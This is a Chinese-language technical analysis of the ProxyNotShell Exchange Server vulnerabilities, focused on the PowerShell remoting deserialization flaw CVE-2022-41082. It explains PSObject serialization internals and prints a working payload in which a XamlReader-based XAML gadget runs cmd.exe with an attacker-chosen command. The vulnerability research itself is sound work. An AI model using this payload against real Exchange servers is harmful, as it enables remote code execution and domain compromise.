简介
ProxyNotShell 由CVE-2022–41040 和 CVE-2022–41082构成。CVE-2022–41040是SSRF,这个漏洞和ProxyShell的payload的基本相同,唯一的区别就是需要在HTTP Header里面添加认证信息。CVE-2022–41082是Exchange的Powershell后端的反序列化PSObject时的反序列化漏洞,本文主要介绍这个反序列化漏洞。
利用效果: 域环境提权
漏洞产品: Exchange Server
利用条件: 具有域内普通账户用户名密码
影响范围
- < Exchange 2013 CU23 Nov22SU
- < Exchange 2016 CU23 Nov22SU
- < Exchange 2016 CU22 Nov22SU
- < Exchange 2019 CU12 Nov22SU
- < Exchange 2019 CU11 Nov22SU
环境搭建
环境搭建比较坑,一开始在Exchange 2019补丁的前一版本进行复现,怎么都触发不了漏洞。后来发现应该是因为笔者在10月份之后更新的Exchange 2019,导致10月初的发布的Emergency Mitigation(EM)更新生效了,IIS会对powershell路径进行过滤。于是笔者尝试关掉EM,并在IIS中删除过滤规则,依然复现不了。之后尝试在Exchange 2016 CU12(一个较老的版本)上进行复现,这个版本没有EM,但是也复现不了。最后笔者下载了Exchange Server 2019 CU11的iso,安装后复现成功。
读者如果想搭建环境复现,需要2步:1.安装Windows Server 2019,并搭建好域控制器;2. 安装Exchange 2019 CU11。具体步骤本文不再赘述,读者可以Google参考其他博客的教程。
背景知识介绍
PSObject
PSObject
是 PowerShell 中的.NET对象、COM对象的代理,PowerShell 中的任何对象都使用 PSObject
进行包装。例如 Get-Process
返回的对象类型为 System.Diagnostics.Process
。其实是 PSObject
对System.Diagnostics.Process
的包装。
PSObject
是 ProxyNotShell 反序列化漏洞的基础,漏洞反序列分析会涉及非常多 PSObject
的东西。如果不了解PSObject
,很难理解漏洞产生的原因。下面对 PSObject
的内部实现进行介绍。读者如果想了解更详细的内容,可以参考引用中的 about_Types.ps1xml
BaseObject
返回的是被代理的.NET对象,例如上面Get-Process
例子中返回的System.Diagnostics.Process
就被存储在BaseObject
中。ImmediateBaseObject
返回的是“直接”的被代理对象,这是因为被代理的对象可能依然是PSObject
,ImmediateBaseObject
返回的就是这个直接被代理的PSObject
对象,而BaseObject
会一直回溯到最开始被代理的对象。
Base/Adapted/Extended Members
PSObject
的成员有三种类型: Base、Adapted和Extended。
- Base对应的是
BaseObject
原始的对象成员。
- Adapted是PowerShell extended type system添加的成员。
- Extended是通过ps1xml指定或者Add-Member添加的成员。
member的类型
member根据所在的位置可以划分为Base、Adapted和Extended。
根据类型又可以划分为很多种,这里简单列举几个。
PSProperty
用来表示BaseObject
的field或property。
PSScriptProperty
在extended中,记录一段脚本
PSCodeProperty
可以用来设置getter和setter。
PSMethod
表示BaseObject
中的方法
PSMemberSet
表示在extended中的任何member的集合
TypeNames
TypeNames
代表BaseObject
的类的类型。它是一个Collection<String>
,保存BaseObject
的继承关系。
PSMemberInfo
前面提到的所有的Member都会使用PSMemberInfo
这个类进行表示。其中的Name表示这个属性的名字,Value表示属性的类。
PSStandardMember
PSStandardMembers
是PSObject
的特殊的Member。DefaultDisplayPropertySet
用来表示在PowerShell中默认显示哪些属性。TargetTypeForDeserialization
用来表示在反序列化中应该被反序列化成什么类型。
PSRP协议
当远程使用PowerShell进行连接时,所使用的协议就是PSRP协议。PSRP协议会在Client端和Server端之间传递Powershell类。通过网络传递类的方式就是把类进行序列化和反序列化。如上面所说,PowerShell中所有的.NET类都会由PSObject
进行代理。因此PSRP会围绕PSObject
进行序列化和反序列化。
.NET有一套序列化和反序列化的机制,例如 BinaryFormatter
, XMLFormatter
等等。PSRP这里实现的序列化和反序列化机制和他们不同。详细的序列化和反序列化可以参考 MS-PSRP 协议文档2.2.5节。序列化/反序列化大致分为三类来介绍。
Primitive Type
Primitive Type包括String
, Character
, Boolean
, Signed Int
, Float
等编程语言常见的类型。例如Signed Int的一个实例如下。
还包括GUID
, URI
, Version
, XML Document
等类型。例如URI
的一个实例如下。
1
| <URI>http://www.microsoft.com/</URI>
|
Complex Object
Complex Object由<Obj>
来表示,它里面可以包括5种类型的子实例。
- Type names(用
<TN>
或<TNRef>
表示)
<ToString>
方法
- Primitive Types 的实例或 Known Container(如Stack、List、Queue)
- Adapted Properties (用
<Props>
表示)
- Extended Properties(用
<MS>
表示)。
Custom Converter
前面提到的两种序列化方式可以序列化大部分的 PSObject
, 但是PowerShell也支持通过自定义的Converter来进行更复杂的序列化和反序列化。使用这个方式需要在types.ps1xml文件中添加 TargetTypeForDeserialization
属性,反序列化之后的类型。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <Type> <Name>Deserialized.System.Net.IPAddress</Name> <Members> <MemberSet> <Name>PSStandardMembers</Name> <Members> <NoteProperty> <Name>TargetTypeForDeserialization</Name> <Value>Microsoft.PowerShell.DeserializingTypeConverter</Value> </NoteProperty> </Members> </MemberSet> </Members> </Type>
|
PowerShell自带了几种Converter,例如ConvertViaParseMethod
通过调用目标类型的 Parse
方法,ConvertViaConstructor
通过调用构造函数,ConvertViaCast
通过cast。
在Exchange Server中,自定义了Microsoft.Exchange.Data.SerializationTypeConverter
。这个Converter其实是对BinaryFormatter
的包装,通过BinaryFormatter
来进行序列化和反序列化。
PSRP对象反序列化过程
反序列化逻辑在InternalDeserializer
类的ReadOneObject
中实现,伪代码如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| object ReadOneObject(out string streamName) { bool flag object obj = this.ReadOneDeserializedObject(streamName, flag); if(obj) { if(!flag) { Type targetTypeForDeserialization = obj.GetTargetTypeForDeserialization(this._typeTable); if(targetTypeForDeserialization) { object obj2 = LanguagePrimitives.ConvertTo(obj, targetTypeForDeserialization); return obj2; } } } }
|
大体逻辑为:
- 通过
ReadOneDeserializedObject
进行简单的反序列化
- 如果不是primitive type,就尝试调用
ConvertTo
转换成目标类型(targetTypeForDeserialization)的对象。
ReadOneDeserializedObject
首先看一下ReadOneDeserializedObject
的实现。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| object ReadOneDeserializedObject(out string streamName, out bool isKnownPrimitive) { isKnownPrimitive = false; if(this.IsNextElement("Nil")) { return null; } if(this.IsNextElement("Ref")) { ..... } if(KnownTypes.GetTypeSerializationInfoFromItemTag(this._reader.LocalName)) { isKnownPrimitive = true; return this.ReadPrimaryKnownType(); } if(this.IsNextElement("Obj")) { return this.ReadPSObject(); }
}
|
逻辑为如果是Nil,返回null;如果为Ref,就返回引用的之前的对象;如果是Primitive类型,就返回Primitive类型;如果是Obj,就调用ReadPSObject
方法返回对象。
下面来看一下ReadPSObject
方法的实现。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| PSObject ReadPSObject() { PSObject psobject = this.ReadAttributeAndCreatePSObject(); while(...iter util end...) { if(this.IsNextElement("TN") || this.IsNextElement("TNRef")) { this.ReadTypeNames(); } else if(this.IsNextElement("Props")) { this.ReadProperties(psobject); } else if(this.IsNextElement("MS")) { this.ReadMemberSet(psobject); } else if(this.IsNextElement("ToString")) { ...... } else { object obj = null; TypeSerializationInfo tag = KnownTypes.GetTypeSerializationInfoFromItemTag(this._reader.LocalName); if(tag) { obj = this.ReadPrimaryKnownType(tag); } else if(this.IsKnownContainerTag(containertype)) { obj = this.ReadKnownContainer(containertype); } else if(this.IsNextElement("obj")) { obj = this.ReadOneObject(); } if(obj) { psobject.SetCoreOnDeserialization(obj); } } } return psobject; }
|
GetTargetTypeForDeserialization
下面看GetTargetTypeForDeserialization
的实现。GetTargetTypeForDeserialization
会尝试寻找PSStandardMember里面的TargetTypeForDeserialization
属性。正如前面所说,TargetTypeForDeserialization
用来表示反序列化的目标类型。
查找的第一步是寻找通过调用TypeTableGetMemberDelegate
方法找到PSStandardMembser
,这一步是根据this的类型和typeTable
(从types.ps1xml加载)查找。
如果返回的结果不为null,就生成了一个新的类PSMemberInfoIntegratingCollection
,构造函数的参数分别为刚才返回的结果,以及PSObject.GetMemberCollection
返回的结果。然后通过[]
运算符来查找TargetTypeForDeserialization
属性。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| Type GetTargetTypeForDeserialization(TypeTable backupTypeTable) { PSMemberInfo psstandardmember = this.GetPSStandardMember(backupTypeTable, "TargetTypeForDeserialization"); if(psstandardmember != null) { return psstandardmember.Value as Type; } return null; } PSMemberInfo GetPSStandardMember(TypeTable backupTypeTable, string memberName) { PSMemberInfo psmemberInfo = null; TypeTable typeTable = (backupTypeTable != null) ? backupTypeTable : this.GetTypeTable(); if (typeTable != null) { PSMemberSet psmemberSet = PSObject.TypeTableGetMemberDelegate<PSMemberSet>(this, typeTable, "PSStandardMembers"); if (psmemberSet != null) { psmemberSet.ReplicateInstance(this); psmemberInfo = new PSMemberInfoIntegratingCollection<PSMemberInfo>(psmemberSet, PSObject.GetMemberCollection(PSMemberViewTypes.All, backupTypeTable))[memberName]; } } if (psmemberInfo == null) { psmemberInfo = (this.InstanceMembers["PSStandardMembers"] as PSMemberSet); } return psmemberInfo; }
|
下面看一下PSObject.GetMemberCollection
和PSMemberInfoIntegratingCollection
。由于代码太长,笔者这里不再贴出来,有兴趣的读者可以用dnspy查看反编译后的代码,下面简单介绍一下这俩部分的作用。PSObject.GetMemberCollection
是一个静态方法,作用是返回一个函数委托的集合(collection)。集合中的函数包含了用于获取对象的adapted/extended属性。PSMemberInfoIntegratingCollection
的作用的是把PSStandardMembers
和函数委托的集合揉合在一块,方便查找。即后面的[]
运算符会先在PSStandardMembers
中查找,然后通过调用函数委托的形式查找。
因此这里就会留下一个问题,即可以通过extended或adapted属性自定义一个Type,让GetTargetTypeForDeserialization
返回自定义的类型,进行反序列化。
LanguagePrimitives.ConvertTo
反序列化的第三步是调用LanguagePrimitives.ConvertTo
方法把obj反序列化成对应的类。LanguagePrimitives.ConvertTo
主要调用LanguagePrimitives.FigureConversion
寻找convert的方法。其核心逻辑如下,分别通过反射来检查是否能够通过Parse、构造函数、Cast等方式来进行convert,以及自定义的converter。
漏洞分析
首先从poc看起,最核心的反序列化payload如下。这一段payload是序列化后的PSObject。可以看到最外层定义了一个Object。MS里又定义了一个Obj,类型为System.ServiceProcess.ServiceController
。其中包含了一些props属性,属性中又包含一个对象,名字为TargetTypeForDeserialization
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <Obj RefId="13"> <TN RefId="0"> <T>System.Management.Automation.PSCustomObject</T> <T>System.Object</T> </TN> <MS> <S N="N">-Identity:</S> <Obj N="V" RefId="14"> [1] <TN RefId="2"> <T>System.ServiceProcess.ServiceController</T> <T>System.Object</T> </TN> <ToString>System.ServiceProcess.ServiceController</ToString>
<Props> <S N="Name">Type</S> <Obj N="TargetTypeForDeserialization"> [2] <TN RefId="2"> <T>System.Exception</T> <T>System.Object</T> </TN> <MS> <BA N="SerializationData">AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAAAgU3lzdGVtLldpbmRvd3MuTWFya3VwLlhhbWxSZWFkZXIEAAAABgMAAABYUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA> </MS> </Obj> </Props>
<S> <![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider x:Key="LaunchCalch" ObjectType="{{x:Type Diag:Process}}" MethodName="Start"><ObjectDataProvider.MethodParameters><System:String>cmd.exe</System:String><System:String>/c {CMD}</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>]]> </S>
</Obj> </MS> </Obj>
|
反序列化的过程是递归的,从高层往下一层层反序列化。首先在[1]反序列化的过程中,[2]会先被反序列化。下面看一下[2]被反序列化的过程,简称obj2。obj2的类型为System.Exception
。在types.ps1xml中TargetTypeForDeserialization
中属性为System.Exception
,因此GetTargetTypeForDeserialization
返回System.Exception
类型。
System.Exception
又定义了Converter为Microsoft.Exchange.Data.SerializationTypeConverter
。因此会被其反序列化。这里的Payload为System.UnitySerializationHolder
序列化之后的内容。Type
被序列化之后就会成为System.UnitySerializationHolder
。因为System.UnitySerializationHolder
又在Exchange Server的BinaryFormatter的白名单里,所以可以被反序列化。这样obj2反序列化之后是类型为Type
的类。
这里被序列化之后的Type
是XamlReader
,了解dotnet反序列化的读者应该对这个很熟悉。
然后是在[1]处进行反序列化,简称obj1。在反序列化过程中由于ServiceController
在types.ps1xml中没有定义TargetTypeForDeserialization
属性。根据前面的介绍,反序列化会从obj中寻找TargetTypeForDeserialization
属性,这时就会返回XamlReader
。下一步在ConvertTo中,通过反射会找到XamlReader
的Parse
方法,然后就会调用Parse
方法进行反序列化。Parse
的参数可以控制,因此可以写入执行任意命令的反序列化payload。
攻击效果
运行Exp之后效果如下,可以以w3wp.exe执行的权限执行任意命令。
引用